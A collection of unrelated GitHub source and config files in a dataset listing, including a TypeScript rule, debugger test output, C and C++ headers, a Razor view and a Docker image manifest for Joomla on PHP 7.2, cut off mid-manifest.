text
stringlengths 2
100k
| meta
dict |
---|---|
// This file is intended to be blank, since it is used as the precompiled header
// generator for builds. No include in this file is needed as the header include is
// forced via the "Forced Include File" option in project property. | {
"pile_set_name": "Github"
} |
import { Finding } from "../";
import { Project, TsConfigJson } from "../../model";
import { Rule } from "./Rule";
export class FN012013_TSC_exclude extends Rule {
constructor(private exclude: string[]) {
super();
}
get id(): string {
return 'FN012013';
}
get title(): string {
return 'tsconfig.json exclude property';
}
get description(): string {
return `Update tsconfig.json exclude property`;
};
get resolution(): string {
return JSON.stringify({
exclude: this.exclude
}, null, 2);
};
get resolutionType(): string {
return 'json';
};
get severity(): string {
return 'Required';
};
get file(): string {
return './tsconfig.json';
};
visit(project: Project, findings: Finding[]): void {
if (!project.tsConfigJson) {
return;
}
if (!project.tsConfigJson.exclude ||
this.exclude.filter(e => ((project.tsConfigJson as TsConfigJson).exclude as string[]).indexOf(e) < 0).length > 0) {
this.addFinding(findings);
}
}
} | {
"pile_set_name": "Github"
} |
Connecting to: localhost:5001
Stopped at tests/debugger/do_display.js:20
(jerry-debugger) b a
Breakpoint 1 at tests/debugger/do_display.js:15 (in a() at line:15, col:1)
(jerry-debugger) b b
Breakpoint 2 at tests/debugger/do_display.js:16 (in b() at line:16, col:1)
(jerry-debugger) b c
Breakpoint 3 at tests/debugger/do_display.js:17 (in c() at line:17, col:1)
(jerry-debugger) b d
Breakpoint 4 at tests/debugger/do_display.js:18 (in d() at line:18, col:1)
(jerry-debugger) display
Non-negative integer number expected, 0 turns off this function
(jerry-debugger) c
Stopped at breakpoint:1 tests/debugger/do_display.js:15 (in a() at line:15, col:1)
(jerry-debugger) display 2
(jerry-debugger) c
out: hi
Stopped at breakpoint:2 tests/debugger/do_display.js:16 (in b() at line:16, col:1)
Source: tests/debugger/do_display.js
15 function a() { print("hi"); }
16 > function b() { print("welcome"); }
17 function c() { print("hello"); }
(jerry-debugger) display 5435
(jerry-debugger) c
out: welcome
Stopped at breakpoint:3 tests/debugger/do_display.js:17 (in c() at line:17, col:1)
Source: tests/debugger/do_display.js
1 // Copyright JS Foundation and other contributors, http://js.foundation
2 //
3 // Licensed under the Apache License, Version 2.0 (the "License");
4 // you may not use this file except in compliance with the License.
5 // You may obtain a copy of the License at
6 //
7 // http://www.apache.org/licenses/LICENSE-2.0
8 //
9 // Unless required by applicable law or agreed to in writing, software
10 // distributed under the License is distributed on an "AS IS" BASIS
11 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 // See the License for the specific language governing permissions and
13 // limitations under the License.
14
15 function a() { print("hi"); }
16 function b() { print("welcome"); }
17 > function c() { print("hello"); }
18 function d() { print("goodbye"); }
19
20 a();
21 b();
22 c();
23 d();
(jerry-debugger) display 0
(jerry-debugger) c
out: hello
Stopped at breakpoint:4 tests/debugger/do_display.js:18 (in d() at line:18, col:1)
(jerry-debugger) c
out: goodbye
| {
"pile_set_name": "Github"
} |
context("plot intro")
test_that("test return object", {
plot_obj <- plot_intro(iris)
expect_true(is.ggplot(plot_obj))
})
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <iLifeSlideshow/MRMarimbaView.h>
@class IPMarimbaSlideshow, IPMarimbaTextEditor, NSString;
@interface IPMarimbaView : MRMarimbaView
{
id _delegate;
NSString *_draggedLayerID;
IPMarimbaTextEditor *_textEditor;
struct CGPoint _origLocalMouseLoc;
struct CGPoint _lastLocalMouseLoc;
double _origRotationAngle;
BOOL _editable;
BOOL _resizeable;
IPMarimbaSlideshow *_slideshow;
BOOL _isWarmingUp;
BOOL _textEditBecomesKey;
}
@property BOOL textEditBecomesKey; // @synthesize textEditBecomesKey=_textEditBecomesKey;
- (void)reshape;
- (void)endTextEditing;
- (void)_titleSlideVisibilityChanged:(id)arg1;
- (id)image;
- (void)viewDidEndLiveResize;
- (void)viewWillStartLiveResize;
- (void)endEditingTextElement:(id)arg1 inContainer:(id)arg2;
- (BOOL)beginEditingTextElement:(id)arg1 inContainer:(id)arg2 clickAt:(struct CGPoint)arg3 vertices:(struct CGPoint (*)[4])arg4;
- (void)mouseUp:(id)arg1;
- (void)mouseDragged:(id)arg1;
- (void)mouseMoved:(id)arg1;
- (BOOL)becomeFirstResponder;
- (BOOL)acceptsFirstMouse:(id)arg1;
- (BOOL)acceptsFirstResponder;
- (void)viewDidMoveToWindow;
- (void)removeFromSuperview;
- (void)mouseDown:(id)arg1;
- (void)keyDown:(id)arg1;
- (struct CGPoint)_convertPointToMarimba:(struct CGPoint)arg1;
- (void)_warmupRendererThread;
- (void)warmupRenderer;
- (void)dealloc;
- (id)initWithFrame:(struct CGRect)arg1 slideshow:(id)arg2 delegate:(id)arg3 editable:(BOOL)arg4 resizable:(BOOL)arg5;
@end
| {
"pile_set_name": "Github"
} |
{% comment -%}Copyright (c) Microsoft. All rights reserved. Licensed under the MIT license. See LICENSE file in the project root for full license information.{% endcomment -%}
<script type="text/javascript" src="{{_rel}}styles/docfx.vendor.js"></script>
<script type="text/javascript" src="{{_rel}}styles/docfx.js"></script>
<script type="text/javascript" src="{{_rel}}styles/main.js"></script>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
</startup>
<appSettings>
<add key="HttpClientUserAgent" value="" />
</appSettings>
</configuration> | {
"pile_set_name": "Github"
} |
/*
* HND SiliconBackplane PMU support.
*
* Copyright (C) 1999-2013, Broadcom Corporation
*
* Unless you and Broadcom execute a separate written software license
* agreement governing use of this software, this software is licensed to you
* under the terms of the GNU General Public License version 2 (the "GPL"),
* available at http://www.broadcom.com/licenses/GPLv2.php, with the
* following added to such license:
*
* As a special exception, the copyright holders of this software give you
* permission to link this software with independent modules, and to copy and
* distribute the resulting executable under terms of your choice, provided that
* you also meet, for each linked independent module, the terms and conditions of
* the license of that module. An independent module is a module which is not
* derived from this software. The special exception does not apply to any
* modifications of the software.
*
* Notwithstanding the above, under no circumstances may you combine this
* software in any way with any other Broadcom software provided under a license
* other than the GPL, without Broadcom's express prior written consent.
*
* $Id: hndpmu.h 385540 2013-02-15 23:14:50Z $
*/
#ifndef _hndpmu_h_
#define _hndpmu_h_
extern void si_pmu_otp_power(si_t *sih, osl_t *osh, bool on);
extern void si_sdiod_drive_strength_init(si_t *sih, osl_t *osh, uint32 drivestrength);
extern void si_pmu_minresmask_htavail_set(si_t *sih, osl_t *osh, bool set_clear);
#endif /* _hndpmu_h_ */
| {
"pile_set_name": "Github"
} |
<HTML>
<BODY>
This package contains all utility classes that require JFC/Swing, namely for
mouse event handling, drag and drop, actions and overlays.
</BODY>
</HTML>
| {
"pile_set_name": "Github"
} |
.class public interface abstract Landroid/support/v7/widget/PopupMenu$OnDismissListener;
.super Ljava/lang/Object;
# virtual methods
.method public abstract onDismiss(Landroid/support/v7/widget/PopupMenu;)V
.end method
| {
"pile_set_name": "Github"
} |
/* Roots_to_Spectrum.cpp
*
* Copyright (C) 2020 David Weenink
*
* This code is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This code is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this work. If not, see <http://www.gnu.org/licenses/>.
*/
#include "Roots_to_Spectrum.h"
autoSpectrum Roots_to_Spectrum (Roots me, double nyquistFrequency, integer numberOfFrequencies, double radius) {
try {
Melder_require (numberOfFrequencies > 1,
U"Number of frequencies should be greater than 1.");
autoSpectrum thee = Spectrum_create (nyquistFrequency, numberOfFrequencies);
const double phi = NUMpi / (numberOfFrequencies - 1);
dcomplex z;
for (integer i = 1; i <= numberOfFrequencies; i ++) {
z. real (radius * cos ((i - 1) * phi));
z. imag (radius * sin ((i - 1) * phi));
const dcomplex s = Roots_evaluate_z (me, z);
thy z [1] [i] = s.real();
thy z [2] [i] = s.imag();
}
return thee;
} catch (MelderError) {
Melder_throw (me, U": no Spectrum calculated.");
}
}
/* End of file Roots.cpp */
| {
"pile_set_name": "Github"
} |
@model AlanJuden.MvcReportViewer.ExampleWebsite.Models.AddPhoneNumberViewModel
@{
ViewBag.Title = "Phone Number";
}
<h2>@ViewBag.Title.</h2>
@using (Html.BeginForm("AddPhoneNumber", "Manage", FormMethod.Post, new { @class = "form-horizontal", role = "form" }))
{
@Html.AntiForgeryToken()
<h4>Add a phone number</h4>
<hr />
@Html.ValidationSummary("", new { @class = "text-danger" })
<div class="form-group">
@Html.LabelFor(m => m.Number, new { @class = "col-md-2 control-label" })
<div class="col-md-10">
@Html.TextBoxFor(m => m.Number, new { @class = "form-control" })
</div>
</div>
<div class="form-group">
<div class="col-md-offset-2 col-md-10">
<input type="submit" class="btn btn-default" value="Submit" />
</div>
</div>
}
@section Scripts {
@Scripts.Render("~/bundles/jqueryval")
}
| {
"pile_set_name": "Github"
} |
#!/bin/sh
# Republish everything in npm, both the 0.4.x series and the 0.5.x series
# You should updateall successfully first
# You should be Tom or someone who has talked to Tom
source scripts/our-modules.source
for module in "${modules[@]}"
do
npm info $module | grep latest
done
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2016 Freie Universität Berlin
*
* This file is subject to the terms and conditions of the GNU Lesser
* General Public License v2.1. See the file LICENSE in the top level
* directory for more details.
*/
/**
* @ingroup tests
* @brief
* @{
*
* @file
* @brief
*
* @author Martine Lenders <[email protected]>
* @}
*/
#ifndef CONSTANTS_H
#define CONSTANTS_H
#ifdef __cplusplus
extern "C" {
#endif
#define _TEST_PROTO (254) /* https://tools.ietf.org/html/rfc3692#section-2.1 */
#define _TEST_NETIF (31)
#define _TEST_TIMEOUT (1000000U)
#define _TEST_ADDR_LOCAL { 0x7f, 0xc4, 0x11, 0x5a, 0xe6, 0x91, 0x8d, 0x5d, \
0x8c, 0xd1, 0x47, 0x07, 0xb7, 0x6f, 0x9b, 0x48 }
#define _TEST_ADDR_REMOTE { 0xe8, 0xb3, 0xb2, 0xe6, 0x70, 0xd4, 0x55, 0xba, \
0x93, 0xcf, 0x11, 0xe1, 0x72, 0x44, 0xc5, 0x9d }
#define _TEST_ADDR_WRONG { 0x2a, 0xce, 0x5d, 0x4e, 0xc8, 0xbf, 0x86, 0xf7, \
0x85, 0x49, 0xb4, 0x19, 0xf2, 0x28, 0xde, 0x9b }
#ifdef __cplusplus
}
#endif
#endif /* CONSTANTS_H */
| {
"pile_set_name": "Github"
} |
## `joomla:3-php7.2`
```console
$ docker pull joomla@sha256:a939d120713b0173e0a44e5fee4881d0c317a565fb8920ebb90a9153feea48e5
```
- Manifest MIME: `application/vnd.docker.distribution.manifest.list.v2+json`
- Platforms:
- linux; amd64
- linux; arm variant v5
- linux; arm variant v7
- linux; arm64 variant v8
- linux; 386
- linux; ppc64le
- linux; s390x
### `joomla:3-php7.2` - linux; amd64
```console
$ docker pull joomla@sha256:d86f84e5553f8e172fd5c6b5a22ef1c57108d2c25d414192a02be4cd1d92a209
```
- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **162.0 MB (161979277 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:7294bc5ffc882c96684f926a9955acaa96736b976eb053b97320f52cb421a417`
- Entrypoint: `["\/entrypoint.sh"]`
- Default Command: `["apache2-foreground"]`
```dockerfile
# Thu, 10 Sep 2020 00:23:29 GMT
ADD file:e7407f2294ad23634565820b9669b18ff2a2ca0212a7ec84b9c89d8550859954 in /
# Thu, 10 Sep 2020 00:23:30 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 13:07:27 GMT
RUN set -eux; { echo 'Package: php*'; echo 'Pin: release *'; echo 'Pin-Priority: -1'; } > /etc/apt/preferences.d/no-debian-php
# Thu, 10 Sep 2020 13:07:27 GMT
ENV PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
# Thu, 10 Sep 2020 13:07:47 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends $PHPIZE_DEPS ca-certificates curl xz-utils ; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 13:07:47 GMT
ENV PHP_INI_DIR=/usr/local/etc/php
# Thu, 10 Sep 2020 13:07:48 GMT
RUN set -eux; mkdir -p "$PHP_INI_DIR/conf.d"; [ ! -d /var/www/html ]; mkdir -p /var/www/html; chown www-data:www-data /var/www/html; chmod 777 /var/www/html
# Thu, 10 Sep 2020 13:14:18 GMT
ENV APACHE_CONFDIR=/etc/apache2
# Thu, 10 Sep 2020 13:14:18 GMT
ENV APACHE_ENVVARS=/etc/apache2/envvars
# Thu, 10 Sep 2020 13:14:27 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends apache2; rm -rf /var/lib/apt/lists/*; sed -ri 's/^export ([^=]+)=(.*)$/: ${\1:=\2}\nexport \1/' "$APACHE_ENVVARS"; . "$APACHE_ENVVARS"; for dir in "$APACHE_LOCK_DIR" "$APACHE_RUN_DIR" "$APACHE_LOG_DIR" ; do rm -rvf "$dir"; mkdir -p "$dir"; chown "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$dir"; chmod 777 "$dir"; done; rm -rvf /var/www/html/*; ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; chown -R --no-dereference "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$APACHE_LOG_DIR"
# Thu, 10 Sep 2020 13:14:28 GMT
RUN a2dismod mpm_event && a2enmod mpm_prefork
# Thu, 10 Sep 2020 13:14:29 GMT
RUN { echo '<FilesMatch \.php$>'; echo '\tSetHandler application/x-httpd-php'; echo '</FilesMatch>'; echo; echo 'DirectoryIndex disabled'; echo 'DirectoryIndex index.php index.html'; echo; echo '<Directory /var/www/>'; echo '\tOptions -Indexes'; echo '\tAllowOverride All'; echo '</Directory>'; } | tee "$APACHE_CONFDIR/conf-available/docker-php.conf" && a2enconf docker-php
# Thu, 10 Sep 2020 13:14:29 GMT
ENV PHP_EXTRA_BUILD_DEPS=apache2-dev
# Thu, 10 Sep 2020 13:14:29 GMT
ENV PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
# Thu, 10 Sep 2020 13:14:30 GMT
ENV PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 13:14:30 GMT
ENV PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 13:14:30 GMT
ENV PHP_LDFLAGS=-Wl,-O1 -pie
# Thu, 10 Sep 2020 15:15:33 GMT
ENV GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
# Thu, 10 Sep 2020 15:15:33 GMT
ENV PHP_VERSION=7.2.33
# Thu, 10 Sep 2020 15:15:33 GMT
ENV PHP_URL=https://www.php.net/distributions/php-7.2.33.tar.xz PHP_ASC_URL=https://www.php.net/distributions/php-7.2.33.tar.xz.asc
# Thu, 10 Sep 2020 15:15:34 GMT
ENV PHP_SHA256=0f160a3483ffce36be5962fab7bcf09d605ee66c5707df83e4195cb796bbb03a PHP_MD5=
# Thu, 10 Sep 2020 15:15:44 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr; rm -rf /var/lib/apt/lists/*; mkdir -p /usr/src; cd /usr/src; curl -fsSL -o php.tar.xz "$PHP_URL"; if [ -n "$PHP_SHA256" ]; then echo "$PHP_SHA256 *php.tar.xz" | sha256sum -c -; fi; if [ -n "$PHP_MD5" ]; then echo "$PHP_MD5 *php.tar.xz" | md5sum -c -; fi; if [ -n "$PHP_ASC_URL" ]; then curl -fsSL -o php.tar.xz.asc "$PHP_ASC_URL"; export GNUPGHOME="$(mktemp -d)"; for key in $GPG_KEYS; do gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key"; done; gpg --batch --verify php.tar.xz.asc php.tar.xz; gpgconf --kill all; rm -rf "$GNUPGHOME"; fi; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark > /dev/null; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false
# Thu, 10 Sep 2020 15:15:44 GMT
COPY file:ce57c04b70896f77cc11eb2766417d8a1240fcffe5bba92179ec78c458844110 in /usr/local/bin/
# Thu, 10 Sep 2020 15:19:15 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libargon2-dev libcurl4-openssl-dev libedit-dev libsodium-dev libsqlite3-dev libssl-dev libxml2-dev zlib1g-dev ${PHP_EXTRA_BUILD_DEPS:-} ; rm -rf /var/lib/apt/lists/*; export CFLAGS="$PHP_CFLAGS" CPPFLAGS="$PHP_CPPFLAGS" LDFLAGS="$PHP_LDFLAGS" ; docker-php-source extract; cd /usr/src/php; gnuArch="$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)"; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; if [ ! -d /usr/include/curl ]; then ln -sT "/usr/include/$debMultiarch/curl" /usr/local/include/curl; fi; ./configure --build="$gnuArch" --with-config-file-path="$PHP_INI_DIR" --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib $(test "$gnuArch" = 's390x-linux-gnu' && echo '--without-pcre-jit') --with-libdir="lib/$debMultiarch" ${PHP_EXTRA_CONFIGURE_ARGS:-} ; make -j "$(nproc)"; find -type f -name '*.a' -delete; make install; find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; make clean; cp -v php.ini-* "$PHP_INI_DIR/"; cd /; docker-php-source delete; apt-mark auto '.*' > /dev/null; [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; find /usr/local -type f -executable -exec ldd '{}' ';' | awk '/=>/ { print $(NF-1) }' | sort -u | xargs -r dpkg-query --search | cut -d: -f1 | sort -u | xargs -r apt-mark manual ; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; pecl update-channels; rm -rf /tmp/pear ~/.pearrc; php --version
# Thu, 10 Sep 2020 15:19:16 GMT
COPY multi:af24b1d34daac0a277386947399eceaaf20d3065d4be5db00b1d6466cf006c49 in /usr/local/bin/
# Thu, 10 Sep 2020 15:19:16 GMT
RUN docker-php-ext-enable sodium
# Thu, 10 Sep 2020 15:19:17 GMT
RUN { echo '#!/bin/sh'; echo 'exec pkg-config "$@" freetype2'; } > /usr/local/bin/freetype-config && chmod +x /usr/local/bin/freetype-config
# Thu, 10 Sep 2020 15:19:17 GMT
ENTRYPOINT ["docker-php-entrypoint"]
# Thu, 10 Sep 2020 15:19:18 GMT
STOPSIGNAL SIGWINCH
# Thu, 10 Sep 2020 15:19:18 GMT
COPY file:e3123fcb6566efa979f945bfac1c94c854a559d7b82723e42118882a8ac4de66 in /usr/local/bin/
# Thu, 10 Sep 2020 15:19:18 GMT
WORKDIR /var/www/html
# Thu, 10 Sep 2020 15:19:18 GMT
EXPOSE 80
# Thu, 10 Sep 2020 15:19:18 GMT
CMD ["apache2-foreground"]
# Fri, 11 Sep 2020 07:33:55 GMT
LABEL maintainer=Harald Leithner <[email protected]> (@HLeithner)
# Fri, 11 Sep 2020 07:33:55 GMT
ENV JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
# Fri, 11 Sep 2020 07:33:56 GMT
RUN a2enmod rewrite
# Fri, 11 Sep 2020 07:35:29 GMT
RUN set -ex; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libbz2-dev libgmp-dev libjpeg-dev libldap2-dev libmcrypt-dev libmemcached-dev libpng-dev libpq-dev ; docker-php-ext-configure gd --with-jpeg-dir=/usr --with-png-dir=/usr; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; docker-php-ext-configure ldap --with-libdir="lib/$debMultiarch"; docker-php-ext-install -j "$(nproc)" bz2 gd gmp ldap mysqli pdo_mysql pdo_pgsql pgsql zip ; pecl install APCu-5.1.18; pecl install memcached-3.1.5; pecl install redis-4.3.0; docker-php-ext-enable apcu memcached redis ; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark; ldd "$(php -r 'echo ini_get("extension_dir");')"/*.so | awk '/=>/ { print $3 }' | sort -u | xargs -r dpkg-query -S | cut -d: -f1 | sort -u | xargs -rt apt-mark manual; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; rm -rf /var/lib/apt/lists/*
# Fri, 11 Sep 2020 07:35:29 GMT
VOLUME [/var/www/html]
# Fri, 11 Sep 2020 07:35:30 GMT
ENV JOOMLA_VERSION=3.9.21
# Fri, 11 Sep 2020 07:35:30 GMT
ENV JOOMLA_SHA512=603027bb54f1aa0c37ecdac7438ce1294120b82a16f6c5b6671d1344e87816cc999d9b7e7fe149800e26d937a97fba383817d3e1c71bd23b1a2d380758de3a1d
# Fri, 11 Sep 2020 07:35:34 GMT
RUN set -ex; curl -o joomla.tar.bz2 -SL https://github.com/joomla/joomla-cms/releases/download/${JOOMLA_VERSION}/Joomla_${JOOMLA_VERSION}-Stable-Full_Package.tar.bz2; echo "$JOOMLA_SHA512 *joomla.tar.bz2" | sha512sum -c -; mkdir /usr/src/joomla; tar -xf joomla.tar.bz2 -C /usr/src/joomla; rm joomla.tar.bz2; chown -R www-data:www-data /usr/src/joomla
# Fri, 11 Sep 2020 07:35:34 GMT
COPY file:f6b7a1c96cc89593a2b9ce4c68af350ae02f2e0c654cd5e842ff6c03641d470e in /entrypoint.sh
# Fri, 11 Sep 2020 07:35:35 GMT
COPY file:5a85d779aaae74cfa3ab6228df0f24236d4d5ad9097e2a1b277e3daea0d6d3dc in /makedb.php
# Fri, 11 Sep 2020 07:35:35 GMT
ENTRYPOINT ["/entrypoint.sh"]
# Fri, 11 Sep 2020 07:35:35 GMT
CMD ["apache2-foreground"]
```
- Layers:
- `sha256:d121f8d1c4128ebc1e95e5bfad90a0189b84eadbbb2fbaad20cbb26d20b2c8a2`
Last Modified: Thu, 10 Sep 2020 00:34:02 GMT
Size: 27.1 MB (27092161 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:58b3577b786a8fc924e77061e0347784852f282e0c823a01d273188d615f3c37`
Last Modified: Thu, 10 Sep 2020 16:10:09 GMT
Size: 226.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:60538287851f83ed7cc28af3c1fdc4dc70a191246efe8076aacfaca909833f51`
Last Modified: Thu, 10 Sep 2020 16:10:38 GMT
Size: 76.7 MB (76652017 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:c53ff72fe22523d07d5c67bbb6672cc482f34b724d6a788b7895afc35e48332b`
Last Modified: Thu, 10 Sep 2020 16:10:10 GMT
Size: 224.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:79b018c8773f3fbdad064d2ee5d0f4dec55f50f367e3e8a96e459e9d8b21912f`
Last Modified: Thu, 10 Sep 2020 16:10:57 GMT
Size: 18.7 MB (18675794 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:fbe3e00ac4b0a2ffe3b11cdd8525ec27997a0444ed26aeeb31f6dbdc7dc8b257`
Last Modified: Thu, 10 Sep 2020 16:10:53 GMT
Size: 432.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ff35226e1df86a691a8cd63a8dc71c7018e16583c254b7dcb1615ad2371371b0`
Last Modified: Thu, 10 Sep 2020 16:10:53 GMT
Size: 490.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:a19d1f155ca2fb236f656a46072866d2411f295eb732a0a2dbb95b929e82418f`
Last Modified: Thu, 10 Sep 2020 16:15:26 GMT
Size: 12.6 MB (12649093 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2c3f9f1d3a4c8f3fd4cc3a3230bf00c3477336759c9e839e6a43c0d47a68b00e`
Last Modified: Thu, 10 Sep 2020 16:15:25 GMT
Size: 492.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:4de2afbc3864cff2215e4c876dd25a37d972261f67e5a32e080d8194570baaad`
Last Modified: Thu, 10 Sep 2020 16:15:27 GMT
Size: 13.8 MB (13820177 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0a457b6d0deda183626a635f91f435bab1bf8ab4eee5df42fe54e1b34bad2688`
Last Modified: Thu, 10 Sep 2020 16:15:24 GMT
Size: 2.3 KB (2286 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ef1ad83e6dbb0496c45ce548b640dabeb10ab8b5a3459383185fcf2c79360da8`
Last Modified: Thu, 10 Sep 2020 16:15:24 GMT
Size: 246.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:8c00ce956a7e231dcc760ad6da40f2f8f8a99dcea54d1f39410ecabee6596bc9`
Last Modified: Thu, 10 Sep 2020 16:15:24 GMT
Size: 212.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:6206fe33ea15337da7ed27d569f234d64bc5262dd8bc414ed1eb00fa16da8c7c`
Last Modified: Thu, 10 Sep 2020 16:15:24 GMT
Size: 896.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:b7d50a4ce38ea1e65b67fd59fc974abfc6dda6e372028795384ec016890380a1`
Last Modified: Fri, 11 Sep 2020 07:45:15 GMT
Size: 311.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:4e8aede8b9b0d00ef941b84f3faa1a8b662e794b0d677d618269de8009b7f277`
Last Modified: Fri, 11 Sep 2020 07:45:16 GMT
Size: 3.4 MB (3395934 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:94ac5dae2da6d5b1f13825f606444ff16b8e6dcacbbb8ccec6af1ca69b8aeea7`
Last Modified: Fri, 11 Sep 2020 07:45:18 GMT
Size: 9.7 MB (9686470 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:5978008308d572f9b502d3315fd24a8fc9ed47bf17d2f8939133ed31637d8682`
Last Modified: Fri, 11 Sep 2020 07:45:15 GMT
Size: 1.2 KB (1202 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:dd4fdff23ed2a5566dd289da4973afe79258601501ede0d8eb8a9557dc7ba47f`
Last Modified: Fri, 11 Sep 2020 07:45:15 GMT
Size: 614.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `joomla:3-php7.2` - linux; arm variant v5
```console
$ docker pull joomla@sha256:048f8dbc8701197e52eda0f3d4d7f3e9c58f7d88517fad2926c00cf04cfa206c
```
- Docker Version: 19.03.12
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **140.1 MB (140110350 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:0ba206737858b34db0220f078e1c774287036b09ab48c9e8551c3612512110bd`
- Entrypoint: `["\/entrypoint.sh"]`
- Default Command: `["apache2-foreground"]`
```dockerfile
# Wed, 09 Sep 2020 23:53:49 GMT
ADD file:34835d84d87e3ee1178aa150793d75a4d4a7a28c013ca3495dbcca2b570270bf in /
# Wed, 09 Sep 2020 23:53:53 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 02:19:47 GMT
RUN set -eux; { echo 'Package: php*'; echo 'Pin: release *'; echo 'Pin-Priority: -1'; } > /etc/apt/preferences.d/no-debian-php
# Thu, 10 Sep 2020 02:19:48 GMT
ENV PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
# Thu, 10 Sep 2020 02:20:42 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends $PHPIZE_DEPS ca-certificates curl xz-utils ; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 02:20:46 GMT
ENV PHP_INI_DIR=/usr/local/etc/php
# Thu, 10 Sep 2020 02:20:50 GMT
RUN set -eux; mkdir -p "$PHP_INI_DIR/conf.d"; [ ! -d /var/www/html ]; mkdir -p /var/www/html; chown www-data:www-data /var/www/html; chmod 777 /var/www/html
# Thu, 10 Sep 2020 02:25:40 GMT
ENV APACHE_CONFDIR=/etc/apache2
# Thu, 10 Sep 2020 02:25:42 GMT
ENV APACHE_ENVVARS=/etc/apache2/envvars
# Thu, 10 Sep 2020 02:26:12 GMT
